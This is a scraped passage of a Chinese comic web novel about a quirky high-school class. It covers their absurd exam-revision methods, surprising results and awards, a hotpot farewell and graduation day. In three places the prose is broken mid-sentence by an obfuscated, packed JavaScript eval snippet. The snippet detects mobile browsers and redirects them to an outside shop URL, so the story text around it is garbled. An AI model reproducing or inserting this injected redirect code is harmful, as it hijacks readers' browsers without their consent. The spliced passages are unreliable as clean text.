化学反应式“2H?+O?=2H?O” → “俩氢气分子像个憨批一样追着氧气跑，最后变成水还觉得自己赢了！” 生物概念“细胞有丝分裂” → “细胞在那儿瞎几把分裂，跟某些人分手又复合一样烦人！” 梦萱亲自示范，骂得唾沫横飞，粉笔灰在她周围形成小型沙尘暴。 大雄认真做笔记，把骂人话工整抄下来，旁边画上火柴人打架图。 鲁平试图纠正：“其实鸦片战争还有更复杂的背景……” 梦萱：“闭嘴！我的版本好记！” 张聪明：“啊～那数学公式怎么骂啊～” 梦萱瞪他：“你自己想！比如‘勾股定理’——直角边像俩舔狗围着斜边转，转了半天还是个三角形，废物！” 勾股定理表示无辜。 --- 第二项：铅球排列组合背单词（大雄发明） 大雄从体育器材室借了六个铅球，每个贴上字母标签。 背单词“abandon”（抛弃）： 他先把A球扔到角落：“A被抛弃了！” 再把B球扔到另一边：“B也被抛弃了！” 然后对着剩下的球喊：“你们都叫andon！但今天我只背到abandon！” 物理老师路过，看到铅球满地滚，心脏骤停三秒：“这……这是什么新型教学法？” 大雄憨笑：“记忆法。” “会砸死人的！” “不会，我控制力度。” 接着背“amodate”（容纳）： 他把所有铅球抱在怀里，像抱西瓜，边走边念：“acmod-date，我要容纳你们……好重……” 最后摔倒，铅球滚了一地，砸中了路过的校长的皮鞋尖。 校长看着鞋尖的凹痕，沉默，然后说：“注意安全。” 走了。 可能去哭。 --- 第三项：哲学rap（鲁平独创） 鲁平发现，如果把政治知识点加上节奏，学生记得更快。 于是他创作了《唯物辩证法rap》： “Yo！世界是物质的！物质是运动的！ 运动是有规律的！规律是可以认识的！ 认识是螺旋上升的！像我的发际线！越来越高越来越亮！ Check it out！” 他边说边打拍子，用保温杯敲桌子，秃顶随节奏反光，像迪厅球灯。 梦萱点评：“flow还行，但押韵太烂。” 鲁平：“那你来？” 梦萱张口就来： “矛盾是对立统一的！就像我和大雄！ 我骂他听！他憨我精！但我们一起火锅吃不停！ 这就是辩证法！牛逼吧！” 全场鼓掌。 张聪明也加入：“啊～我也有数学rap啊～” 他开始唱： “三角函数啊～sin cos啊～ 图像像波浪啊～我头发也油亮啊～ 公式记不住啊～就多念几遍啊～啊～啊～” 最后的“啊”拖得很长，像临终遗言。 洐沁推了推不存在的眼镜，疯狂记录： 「知识音乐化尝试。鲁平：哲学rap，节奏感弱但概念准确。梦萱：颠婆rap，押韵暴力但易记。张聪明：啊式rap，除了‘啊’啥也没记住。」 --- 第四项：“啊～”节奏记忆游戏（张聪明最后的倔强） 张聪明发现，只要他把知识点用“啊～”分隔，学生就能记住——因为想打他，所以印象深刻。 示例： “二次函数图像是抛物线啊～开口方向看a的正负啊～ 顶点坐标要背熟啊～不然考试会哭啊～ 对称轴是x等于负二a分之b啊～记不住你就是个弟弟啊～” 梦萱在底下接：“你才是弟弟！老弟弟！” 但神奇的是，这么一遍下来，大家真记住了抛物线公式——主要是想证明自己不是弟弟。 --- 第五项：痘痘位置记忆法（大雄二次发明） 大雄发现自己脸上的痘痘位置，刚好可以对应历史事件时间轴。 左脸颊第一颗：鸦片战争（1840） 鼻尖那颗：辛亥革命（1911） 右脸颊三颗连珠：抗日战争（1931-1945）——“三颗代表三个阶段！” 他每天洗脸时对着镜子复习： “1840……这颗有点发炎，像英国侵略。” “1911……这颗快熟了，像革命要爆发。” “1931……这三颗连起来，像持久战。” 梦萱帮他挤痘时，顺便提问：“1895年什么事？” 大雄摸下巴：“这颗还没长……哦是马关条约！” “答对！奖励你多挤一颗！” 学习变得血肉模糊（字面意思）。 --- 周三，备考进入白热化。 废弃教室变成了抽象学习博览会。 分区一：骂人记忆角 梦萱在教几个女生用脏话背古文。 “《岳阳楼记》——庆历四年春，滕子京这个傻逼被贬到巴陵！” 女生们边笑边背，效果奇佳。 分区二：铅球单词区 大雄在扔铅球背英语作文模板。 “First and foremost……哎哟砸到脚了！” 分区三：哲学rap舞台 鲁平在表演《中国特色社会主义rap》，张聪明在旁边打拍子——用计算器，按键声像鬼畜。 分区四：观察记录站 洐沁在画《备考百态图》，每个人头上冒出知识点气泡，气泡里是扭曲的记忆画面。 而我，荣誉顾问程穗，在分区五：崩溃预防中心。 其实就是个角落，我坐在那里，看着这群人，随时准备拨打120（或精神病院电话）。 --- 周五，校长巡视。 他推开废弃教室的门，看到了这样的画面： 梦萱在黑板前，用红色粉笔写满脏话版知识点，边写边骂：“秦始皇这个控制狂！统一文字度量衡！跟班主任收手机一样讨厌！” 大雄在角落，对着镜子挤痘，每挤一颗念一个年份：“1919……五四运动……噗！” 鲁平和张聪明在合唱rap：“改革开放春风吹！吹得我的头发……啊没得吹！” 洐沁在桌子底下，只露出屁股，她在测量“学习噪音分贝与记忆效率的关系”。 校长站在门口，沉默了足足一分钟。 然后他缓缓关上门，对身后的主任说：“他们在……搞艺术创作？” 主任：“好像是……复习。” 校长：“你确定？” 主任：“不确定。” 校长：“那别管了，就当没看见。” 主任：“可他们在骂脏话……” 校长：“总比打架强。” 校长走了，背影沧桑。 --- 周末，梦萱组织了“考前最后一次火锅动员会”。 地点还是喷火火锅店，但这次主题是：用火锅食材复习。 梦萱夹起一片肥牛：“这片肉，代表封建社会——层层叠叠，肥腻，但好吃。” 大雄夹起虾滑：“这个……代表资产阶级革命——滑不溜秋，抓不住。” 鲁平夹了块豆腐：“这代表知识分子——软，但不可或缺。” 张聪明舀了勺汤：“啊～这汤代表历史洪流～我们都是里面的料啊～” 洐沁推了推不存在的眼镜，记录：「食材历史学，跨学科复习法的巅峰。」 吃到一半，梦萱突然说：“我们来模拟考试！” 她出题：“如果辣锅代表战争，清汤代表和平，那现在我们把肉下到两边，代表什么？” 大雄：“代表……肉很无奈？” 鲁平：“代表国家在战与和之间的选择。” 张聪明：“啊～代表我想吃辣锅但怕长痘啊～” 梦萱：“错！代表复习要全面！不能偏科！” 她把肉均匀下到两边。 然后发现辣锅太辣，没人敢吃，清汤锅又太淡。 “这代表……”她总结，“理想很丰满，现实很骨感。吃吧。” --- 考试前一天，最荒诞的一幕发生了。 不知谁传的谣言，说“用抽象方式复习能提高20分”。 于是整个高二年级，开始模仿我们班。 三班在走廊用跳绳背古诗：“床前明月光——跳！疑是地上霜——再跳！” 四班在教室用椅子摆化学元素周期表：“这把椅子是氢！最轻！那把是铀！危险！” 六班在操场用跑步背单词，跑一圈背一个，跑不动了单词也忘了。 校 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064657|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长再次巡视，看到全校都在发疯，他回到办公室，吃了两片降压药。 “也许……”他对主任说，“这就是新时代的教育创新吧。” 主任：“您真的这么认为？” 校长：“不，但我只能这么认为。” --- 考试当天。 早上七点，教室。 梦萱在做最后的“骂人记忆冲刺”：“戊戌变法六君子！谭嗣同你个憨批为什么不跑！留着被杀很帅吗！” 大雄在对着镜子摸痘痘：“1937……这颗新长的代表卢沟桥事变……有点疼。” 鲁平在哼rap：“主要矛盾次要矛盾啊～矛盾的主要方面啊～” 张聪明在念经：“啊～导数导数啊～积分积分啊～” 洐沁在给大家发“幸运Q版画”——每个人画成考试通过的样子。 给我那张是：我头顶“合格”二字，坐在及格线上哭。 “谢谢。”我说，“很形象。” 八点，进考场。 走廊里，其他班同学表情严肃，我们班同学……在互相骂知识点。 “你他妈记得洋务运动口号吗！” “自强求富！你他妈才不记得！” 监考老师惊恐地看着我们。 考试开始。 第一科：语文。 作文题目：《谈“和而不同”》。 正常写法：议论文，引用典故，讲包容。 我们班一半人写的：用火锅比喻。 梦萱的开头：“和而不同，就像鸳鸯锅。清汤和辣锅虽然不同，但在一个锅里，就能煮出丰富的人生……” 大雄的开头：“和而不同，就像我脸上的痘痘。有的红肿有的白，位置不同，但都在我脸上和谐共存……” 洐沁写成了观察报告：《论考场中的“和而不同”表现》。 我……我正常写了。 但满脑子都是火锅。 --- 考完出来，大家对答案。 梦萱：“作文我写了火锅，肯定高分！” 大雄：“我写了痘痘……” 梦萱：“你完了。” 大雄：“但老师可能觉得新颖？” 洐沁推了推不存在的眼镜：“据我观察，本次考试，抽象复习法可能有效，也可能无效。数据需要等成绩出来。” 我：废话文学。 等成绩的两天，全班陷入一种诡异的平静。 像暴风雨前的宁静。 像火锅沸腾前的那几秒。 像痘痘要挤还没挤的那种胀痛。 终于，成绩出来了。 --- 周一，班主任张聪明拿着成绩单，表情复杂。 “啊～这次我们班……很特别啊～” 全班屏息。 “语文平均分……年级第三。” 欢呼。 “数学……年级第六。” 还行。 “英语……年级第八。” 可以。 “政治……年级第一。” 炸了。 鲁平站起来，秃顶发光：“我的rap有效！” “但是……”张聪明说，“有几个同学的作文……被校长点名了。” 梦萱举手：“是我吗？” “是你。还有大雄、洐沁。” 全体：“？？？” 校长在教师会议上展示了这些作文： 梦萱的火锅论。 大雄的痘痘论。 洐沁的观察报告。 校长的评价：“……很有创意，但下次不要了。” 但他嘴角在笑。 可能他也觉得好笑。 --- 放学后，废弃教室。 梦萱站在黑板前，总结： “这次期末，我们证明了——” 大雄：“抽象学习有用！” 鲁平：“知识可以有趣！” 张聪明：“啊～我头发都愁掉了几根啊～” 洐沁：“我的论文有数据了！” 我：“……我还活着。” 梦萱看着我们，突然说： “下学期，我们继续。” 全体：“啊？！” “继续抽象，继续疯。”她笑，“因为——” “因为什么？” “因为……”她顿了顿，“这样好玩啊。” 大家笑了。 是的，好玩。 好笑，好气，好累，但好玩。 这就是我们的备考。 这就是我们的期末。 这就是我们，在这个抽象高中，最后一次以学习为名的狂欢。 虽然下学期还有无数考试。 虽然人生还有无数难关。 但至少这一刻，我们笑着。 连痘痘都在笑——如果你把大雄脸上那颗挤爆的痘看作笑脸的话。 24. 第 24 章 期末成绩公布日，全校笼罩在一种“死刑犯等枪毙”的恐怖氛围中。 除了高二五班。 我们班弥漫着一种“反正死定了不如死得搞笑点”的诡异兴奋。 早上七点半，教室。 梦萱在桌上用修正液画了个祭坛，中间摆着她的政治课本——书页上被她画满了骂人批注。 “今天，”她点燃一根蚊香（找不到香），对着课本拜了三拜，“如果我政治超过30分，我就给鲁平磕三个响头。” 大雄在旁边数痘痘：“我要是数学及格，就把脸上这些全挤了，一个不留。” 鲁平紧张地擦秃顶：“如果班级政治平均分进前三，我就……我就留长发！” 张聪明：“啊～那我戒掉‘啊～’～” 全班起哄：“赌了！” 洐沁推了推不存在的眼镜，掏出赌盘登记表： 「赌注汇总： 梦萱→磕头 大雄→挤痘大清理 鲁平→留长发（物理可能吗？） 张聪明→戒语气词 程穗→如果大家都实现愿望，她请客奶茶」 我：“等等！为什么有我？” 洐沁：“你是吉祥物，负责买单。” 我：“……傻逼啊。” 八点整，张聪明抱着成绩单走进教室。 他今天穿了件崭新的POLO衫，肚子依然把扣子绷得紧紧的，但脸上有藏不住的诡异笑容。 “同学们啊～”他开口，然后突然捂住嘴，“……成绩出来了。” 全场死寂。 连窗外偷看的麻雀都屏住呼吸。 “首先，”张聪明翻开文件夹，“班级总平均分……年级第八。” “哦——”一片哀嚎。 “但是！”他提高音量，“我们有几科……特别突出。” 他开始念： “语文，年级第三！” 欢呼。 “英语，年级第六！” 还行。 “数学……年级第五！” 震惊——我们班数学从来没进过前十。 “政治……”他顿了顿，笑容放大，“年级第一。” 死寂。 然后爆炸。 “第一？！” “政治？！” “我们班？！” 鲁平站起来，腿在抖：“多、多少分？” “平均分86.7。”张聪明说，“比第二名高4.5分。” 鲁平瘫在椅子上，秃顶反射出圣洁的光。 梦萱冲上去抢成绩单：“我多少分？！” 张聪明翻到个人页，看了一眼，表情复杂：“梦萱同学……你……” “不及格就说！我能承受！” “你政治……”张聪明深吸一口气，“89分。” 时间静止。 梦萱僵在原地，嘴巴张成O型，能塞进一个乒乓球。 “多、多少？”她声音发颤。 “89分。”张聪明把成绩单递给她，“年级第二。” 梦萱盯着成绩单，盯了十秒。 然后她做了三件事： 1. 把成绩单贴脸上，亲了一口，留下口红印。 2. 冲到鲁平面前，“扑通”跪下，哐哐哐磕了三个响头——额头撞地板的声音像敲木鱼。 3. 站起来，仰天长啸：“老娘是学霸——！！！” 全班鼓掌。 鲁平扶她起来，老泪纵横：“孩子……你终于……悟了……” 梦萱握着他的手：“老师，是你的rap！是你的痘痘辩证法！是你的骂人记忆法！” 鲁平：“不，是你自己的努力……” “不！是抽象的力量！” 那边，大雄也拿到了成绩单。 数学：61分。 刚好及格。 他盯着那个数字，看了整整一分钟。 然后他默默掏出痘痘针，走向洗手间。 “等等！”梦萱叫住他，“现在挤？” “赌注要兑现。”大雄认真地说，“而且……及格了，痘痘也该走了。” 全班男生护送他去洗手间，像护送英雄上刑场。 十分钟后，大雄回来，脸上贴了七个痘痘贴，排列成北斗七星形状。 “挤完了。”他说，“有点疼，但爽。” 梦萱凑近看：“你留了三颗？” “嗯。”大雄指着额头，“这三颗……是新的，还没熟。” “行，养着，下次再挤。” --- 上午课间，广播突然响了： “请高二五班鲁平老师、张聪明老师，以及梦萱、张大雄、洐沁、程穗同学，立即到校长室。” 全班紧张。 “完了，”王鑫说，“肯定是作文太抽象，要处分。” 梦萱：“怕什么！我有89分护体！” 一行人来到校长室。 校长坐在办公桌后，面前摆着几份文件，表情……似笑非笑？ “坐。”他说。 我们挤在沙发上，鲁平和张聪明站着。 “这次期末，”校长开口，“你们班……很特别。” 沉默。 “政治年级第一，数学进步最大，语文作文……”他拿起一份作文，“《火锅论和而不同》……很有创意。” 梦萱眼睛亮了。 “还有这篇，”他又拿起一份，“《痘痘的历史意义》……角度新颖。” 大雄憨笑。 “这篇《考场观察报告》……”他看向洐沁，“已经获得市青少年社科研究一等奖。” 洐沁推了推不存在的眼镜：“谢谢校长。” 我紧张地等着我的——我的作文挺正常的，应该没事吧？ “程穗同学，”校长看我，“你的作文写得最规范。” 我松口气。 “但是——”校长话锋一转，“你在作文里写‘我们班虽然抽象，但温暖’，这句话被教育局领导看到了。” 我心脏骤停。 “领导说，”校长笑了，“这是他们见过最真实的青春写照。” 全体：“？？？” 校长站起来，走到我们面前： “鲁平老师，你被评为‘本学期最受学生欢迎教师’。” 鲁平呆住。 “张聪明老师，你的‘啊式教学法’被学生联名要求保留——虽然我也不知道为什么。” 张聪明：“啊～真的吗～” “梦萱同学，你的进步幅度全校最大，校长特别奖。” 梦萱下巴要掉了。 “张大雄同学，你的数学从28分到61分，进步奖。” 大雄挠头。 “洐沁同学，你的论文一等奖，为校争光，奖金500元。” 洐沁眼睛发光——不是感动，是“有经费了”的光。 “程穗同学，”校长看我，“你作为班长，维持了这个班的……平衡。辛苦了。” 他拿出一叠奖状，挨个发给我们。 梦萱的奖状上写着：“突飞猛进奖——从9分到89分的奇迹”。 大雄的：“坚持不懈奖——痘痘与数学的双重胜利”。 洐沁的：“学术新星奖——观察别人也能拿第一”。 我的：“定海神针奖——没你他们早炸了”。 鲁平和张聪明也拿到了教师奖状。 鲁平的是：“哲学rap开创者”。 张聪明的是：“‘啊～’の神”。 张聪明看着奖状：“啊～这个の是日语吗～” 校长：“打印店打错了，凑合看。” --- 从校长室出来，我们捧着奖状，像捧着圣旨。 走廊上，其他班同学投来羡慕嫉妒恨的目光。 “他们班凭什么……” “听说政治第一……” “那个梦萱89分？抄的吧？” 梦萱转头：“你他妈再说一遍？我他妈用火锅理论考出来的！你有种也考！” 对方缩了。 回到教室，全班沸腾。 王鑫举着梦萱的奖状绕场一周：“看到没！这就是我们颠婆的实力！” 梦萱抢回来：“别弄脏了！我要裱起来挂床头！” 鲁平把他的奖状贴在黑板旁边，每天上课前拜一拜。 张聪明的“啊～の神”贴在办公室，其他老师每次看到都笑喷。 大雄把奖状折成纸飞机，飞出去，又捡回来——他说这样“有纪念意义”。 洐沁把奖金500元拿出来：“班长，团建经费。” 我：“又吃火锅？” “不，”她说，“买文具，继续观察。” --- 下午，更大的惊喜来了。 教育局领导来校视察，专门点名要见“那个抽象班级”。 我们被迫在教室进行“现场教学展示”。 梦萱负责政治：“我来讲解鸦片战争的火锅版！” 领导：“……火锅版？” “对！英国像辣锅，侵略性强；清朝像清汤，软弱；最后混成一锅，谁也分不清谁！” 领导表情复杂，但点头。 大雄负责数学：“我用铅球讲解抛物线！” 他扔铅球，砸中了领导的公文包——还好是空的。 领导：“……很有……动手能力。” 鲁平表演哲学rap，张聪明伴奏——用计算器按节奏。 洐沁展示观察笔记和Q版画。 我……我负责解释“为什么这个班还没散架”。 我说：“因为……抽象是粘合剂。” 领导沉默了一会儿，然后鼓掌。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064658|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很好，”他说，“教育就应该多样化。” 他走后，校长对我们说：“领导说……你们让他想起了自己的青春。” 梦萱：“领导青春也这么抽象？” 校长：“他说他以前在墙上写诗骂老师。” 全体：“哇——” “然后被处分了。”校长补充，“所以你们比他强。” --- 放学后，梦萱宣布：“今晚，散伙火锅！” 大雄：“散伙？” “寒假前的最后一顿！”梦萱说，“下学期继续，但这学期得有个仪式感的结束。” 地点还是喷火火锅店。 但这次，我们有钱了——洐沁的奖金500元，加上我的“被迫请客”奶茶钱折现。 六个人，点了个豪华套餐。 锅端上来时，梦萱突然说：“等等。” 她从书包里掏出那些奖状。 “这些，才是最好的调料。”她说。 她把奖状撕了——不是真撕，是沿着虚线撕成小条。 “鲁老师的，放辣锅——哲学火辣。” “张老师的，放清汤——啊～得清淡点。” “我的，放中间——89分，骄傲！” “大雄的，放油碟——痘痘需要油！” “洐沁的，放调料台——观察要全面！” “班长的，”她看我，“放我碗里——定海神针，我得沾沾光。” 她把奖状纸条撒进火锅、蘸料、碗里。 然后举起可乐： “敬抽象！” “敬痘痘！” “敬rap！” “敬‘啊～’！” “敬观察！” “敬……还没疯的班长！” 我们碰杯。 可乐洒了一桌。 --- 吃到一半，张聪明突然说：“啊～我真的要戒‘啊～’了吗～” 鲁平：“戒了吧，留个纪念。” “但戒了我就不会说话了啊～” “那就学新的语气词，比如‘嗯～’？” “啊～不习惯啊～” 梦萱：“你别戒了，我们习惯了。” 大雄：“嗯，没有‘啊～’就不像张老师了。” 洐沁：“数据表明，‘啊～’的出现频次与课堂亲和力呈正相关。” 我：“……你们开心就好。” 张聪明感动：“啊～你们对我真好～” 看，戒不掉的。 就像鲁平的秃顶、大雄的痘痘、梦萱的颠、洐沁的眼镜（虽然不存在）、我的崩溃。 都戒不掉。 这就是我们。 --- 结账时，老板看着满桌奖状纸条，表情麻木。 “这次又是什么主题？”他问。 “散伙饭。”梦萱说，“但不散伙，只是寒假。” 老板：“……你们下学期还来吗？” “来！” 老板转身，对服务员说：“记下，下学期多备点纸巾，他们肯定又要算数学。” 走出火锅店，寒风吹来，有点冷。 梦萱把围巾分一半给大雄——虽然她骂他“脖子粗占地方”。 鲁平和张聪明挨得很近，互相取暖。 洐沁粘着我：“班长，寒假我要写论文初稿，你帮我查资料。” 我：“……我能拒绝吗？” “不能，你是顾问。” “顾问不是黑奴！” “差不多。” 我们走在路灯下，影子拉长又缩短。 像这个学期，忽长忽短，忽明忽暗。 但总归，走完了。 --- 到校门口，要分开了。 梦萱突然说：“下学期，我们还这样吗？” 鲁平：“还这样。” 张聪明：“啊～不然呢～” 大雄：“我痘痘可能好了……” 梦萱：“没好！我说没好就没好！” 洐沁：“我会继续观察。” 我：“……我会继续崩溃。” “那就，”梦萱伸出手，“下学期见？” 我们把手叠在一起——六只手，有大有小，有油有干，有沾着火锅味的。 “下学期见！” 松开手，各回各家。 我走在最后，回头看了一眼。 学校在夜色里安静得像睡着了。 但我知道，里面有我们的祭坛、铅球、rap、痘痘、奖状纸条、和还没散尽的火锅味。 这就是我们的期末。 这就是我们的惊喜。 虽然抽象。 虽然搞笑。 但真实。 温暖。 就像那锅混了奖状纸条的火锅。 乱七八糟。 但好吃。 25. 第 25 章 两年时间，快得像被梦萱骂了一句“滚”那么短。 高二结束，高三开始，高考来临，然后——毕业了。 毕业典礼定在六月十号，阳光好得不像话，操场上的塑料草坪被晒出人造清香。 高二五班——现在该叫高三五班了，但大家都习惯叫五班，因为“高几不重要，重要的是我们还在”。 --- 早上七点，教室。 最后一天，没人穿校服——学校要求穿，但我们班有自己的要求。 梦萱穿了件自己改造的“毕业战袍”——用校服剪成露肩装，背后用马克笔写着：“此处应有掌声”。 大雄穿了正经的运动服，但脸上贴了七颗痘痘贴，排列成北斗七星PLUS版——他说是“毕业限定皮肤”。 鲁平和张聪明穿了情侣POLO衫，一件写着“秃”，一件写着“油”，合起来是“秃油CP永流传”。 洐沁穿了普通的白衬衫，但胸前别了个徽章，上面画着Q版的我们六个人，标题：“观察样本完结纪念”。 我，程穗，穿了最正常的校服——因为我是班长，要“维持最后的体面”，虽然这体面在两年前就碎成渣了。 “人都齐了？”梦萱站在讲台上——那个裁判椅最终还是被她偷出来了，今天是她最后一次坐它。 “齐了。”大雄憨憨地点头。 “行，”梦萱拍惊堂木（还是那块砖头），“毕业前最后一次小组会议，开始。” --- 议题一：未来去向 梦萱先报：“我，艺术学院，行为艺术专业。” 全体鼓掌。 “为啥选这个？”鲁平问。 “因为面试时，我在考官面前表演了‘如何用骂人话解二元一次方程’，他们说我‘有天赋’。”梦萱得意。 大雄：“我，体育学院，铅球专业。” “为啥是铅球？” “因为……”大雄摸脸，“痘痘贴在上面不容易掉。” 合理。 鲁平：“我和张老师……还在这儿。” 张聪明：“啊～我们签了终身合同啊～走不了啊～” 梦萱：“挺好，祸害下一届。” 洐沁推了推不存在的眼镜：“我，保送社会学专业。” “研究方向？”我问。 “《抽象亚文化在高中社群的生成与传播——以某校‘抽风小组’为例》。”她说，“导师看了我的笔记，说‘这什么玩意儿但很有意思’。” 最后是我：“我，外地大学，管理学。” “为啥是管理？”梦萱问。 “因为……”我叹气，“习惯了管你们这群奇葩，专业对口。” --- 议题二：毕业典礼上搞什么抽象活动 梦萱提议：“我们表演个节目吧！叫《抽象青春回忆录》！” 鲁平：“内容呢？” “我rap骂人版《岳阳楼记》，大雄铅球背单词，你俩表演办公室斗殴，洐沁现场画画，班长……”梦萱看我，“你就站那儿崩溃，当背景板。” 我：“……我能拒绝吗？” “不能，最后一次了。” 最终方案简化：在校长致辞时，我们六个人同时举起特制标语牌。 标语内容： 梦萱：“感谢学校没开除我！” 大雄：“痘痘会想你们的！” 鲁平：“秃顶是智慧的证明！” 张聪明：“啊～我会想你们的啊～” 洐沁：“观察结束，谢谢配合。” 我：“我终于解脱了！！！” 牌子是洐沁画的，Q版风格，丑萌丑萌。 --- 议题三：散伙饭吃什么 “火锅！”全员异口同声。 “但这次，”梦萱说，“我请客。” 震惊。 “你请？”大雄怀疑。 “对！”梦萱拍胸脯，“我用压岁钱。” 鲁平：“为什么？” “因为……”梦萱顿了顿，“因为你们是我鱼塘里，最持久的鱼。” 这话有点感人。 如果忽略她下一句：“虽然你们经常想跳塘。” --- 九点，毕业典礼开始。 操场乌泱泱全是人，毕业生坐前面，家长坐后面，老师在旁边哭——感动的。 校长致辞，讲得深情款款：“三年时光，匆匆而过……” 这时，我们六个人同时举起了牌子。 全场目光聚焦。 校长卡壳了，看着我们的牌子，沉默三秒，然后……笑了。 他继续讲：“有些班级，会成为传说。” 他看向我们：“五班就是。” 掌声雷动。 我们放下牌子，梦萱对着校长比了个心——虽然是单手比，像要开枪。 --- 颁奖环节。 出乎意料，我们班拿了好几个奖： “最具创意班级奖”——因为政治rap和火锅作文。 “最大进步集体奖”——从年级垫底到中游。 “最团结师生关系奖”——因为鲁平和张聪明的CP带动了全班凝聚力。 每个奖都有我们六个人的功劳。 上台领奖时，梦萱抢过话筒： “我说两句！” 校长紧张：“简短点……” “首先，”梦萱对着台下，“感谢学校食堂，虽然难吃，但让我们学会了珍惜外卖。” 家长席有人笑。 “感谢所有老师，特别是鲁老师和张老师，你们用亲身示范告诉我们——中年人的爱情也可以很油腻。” 鲁平和张聪明脸红。 “感谢大雄，你的痘痘是我们班的星座图，指引我们前进。” 大雄憨笑。 “感谢洐沁，你让我们知道，原来我们这么有研究价值。” 洐沁推了推不存在的眼镜。 “感谢班长程穗，你没被我们气死，是医学奇迹。” 我捂脸。 “最后，”梦萱深吸一口气，“感谢这个抽象的高中，让我们这群抽象的人，聚在一起，抽象地度过了三年。” 她放下话筒。 全场寂静，然后爆发出今天最响的掌声。 连校长都用力鼓掌。 --- 典礼结束，各班合影。 我们班拍正经合照时，大家规规矩矩，笑容标准。 但拍“自由创意照”时，疯了。 梦萱跳到鲁平背上，扯他剩下的几根头发：“起飞！” 大雄把洐沁举起来——她还在画画，笔都没停。 鲁平和张聪明背对背摆造型，像老年版背靠背。 我在角落，被王鑫他们抬起来抛——他们说是“感谢班长不杀之恩”。 最经典的是我们六个人的“终极抽象合影”。 摄影师喊：“三、二、一——” 定格瞬间： 梦萱对着镜头比中指（但被大雄按下去一半，变成奇怪的手势）。 大雄顶着一脸痘痘贴，咧嘴憨笑，牙上还沾着早饭的菜叶。 鲁平把假发摘了，秃顶反光，像个小太阳。 张聪明比着“啊”的口型，但舌头不小心吐出来一点。 洐沁推着不存在的眼镜，另一只手举着画本，上面是我们六个人的Q版。 我，程穗，双手捂脸，但从指缝里偷看，嘴角在上扬。 “咔嚓。” 这张照片，后来被洗成巨幅，挂在了教学楼走廊最显眼的位置。 标题是校长亲自起的： 《他们曾经来过，并且没把学校拆了——致高二五班》 底下还有一行小字：“抽象，但温暖。” --- 中午，散伙火锅。 还是那家店，还是那个包厢，但这次气氛有点不一样。 锅端上来时，没人抢着下菜。 沉默了一会儿，梦萱说：“以后……就吃不到了。” 大雄：“我可以去找你。” “你学校在北方！” “坐火车。” “憨批。” 鲁平给每个人倒了饮料：“今天，以可乐代酒，敬三年。” 我们碰杯。 喝了一口，张聪明说：“啊～我会想你们的啊～” 梦萱：“你别想，好好教你的书。” “啊～但你们是我教过最特别的学生啊～” 鲁平点头：“以后……可能再也遇不到了。” 这话有点伤感。 洐沁推了推不存在的眼镜，开始记录：「离别情绪出现，群体氛围转变。」 梦萱突然拍桌子：“哭什么！又不是死了！都在地球上，想见就见！” 她掏出手机：“建个群！就叫‘抽象养老院’！以后每天都要发消息！谁不发谁是小狗！” 群建好了。 第一个人发言是梦萱，她发了张丑照——大雄挤痘时的狰狞表情。 大雄回了个：“……” 然后发了一张梦萱睡觉流口水的照片。 战争开始。 照片满天飞：鲁平戴假发、张聪明抹发胶、洐沁画画的屁股、我崩溃的脸…… 笑着笑着，眼泪出来了。 不是悲伤的眼泪，是真的笑出来的。 --- 吃完饭，该散了。 店门口，我们站着，谁也没先走。 “那就……”梦萱说，“各回各家？” “嗯。”大雄点头。 鲁平和张聪明手牵手：“我们回学校，还有毕业材料要整理。” 洐沁粘着我：“班长，送我一段？” 我：“……行。” 梦萱看着我们，突然挨个抱了一下。 抱大雄时，她骂：“以后痘痘自己挤！别找乱七八糟的人！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064659|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱鲁平：“少用点生发液，对身体不好。” 抱张聪明：“戒‘啊～’就算了，挺可爱的。” 抱洐沁：“继续画，画丑了我就去你学校骂你。” 抱我时，她停顿了一下，说：“班长……谢谢你。” 我愣了。 然后她说：“谢谢你没放弃我们。” 我鼻子一酸，但忍住了：“我也没得选。” 她笑了，用力抱了我一下，然后转身，挥手： “走了！群里见！” 她真的走了，没回头。 大雄跟在她后面，像以前一样，但这次没背她的包——她自己背的。 鲁平和张聪明往学校方向走，背影还是那两个背影，但好像……牵得更紧了。 洐沁看着我：“班长，我们也走吧。” --- 回家的路上，夕阳把天空染成橘红色。 洐沁突然说：“班长，我的论文……致谢部分，第一个写你。” 我：“写我什么？” “写你是这个小组的……锚。”她说，“虽然你总说崩溃，但你从来没真的离开。” 我看着她：“你也是，虽然总在观察，但你一直和我们在一起。” 她笑了，推了推不存在的眼镜：“因为你们……太有趣了。” 到路口，该分开了。 洐沁从书包里掏出一个本子：“这个，送你。” 是她这两年画的Q版全集。 从高一梦萱扇鲁平巴掌，到高二火锅战争，到高三备考狂欢，到今天的毕业合影。 每一张都有日期，有注释。 最后一页，是我们六个人的合影Q版，下面写着： “样本编号：高二五班 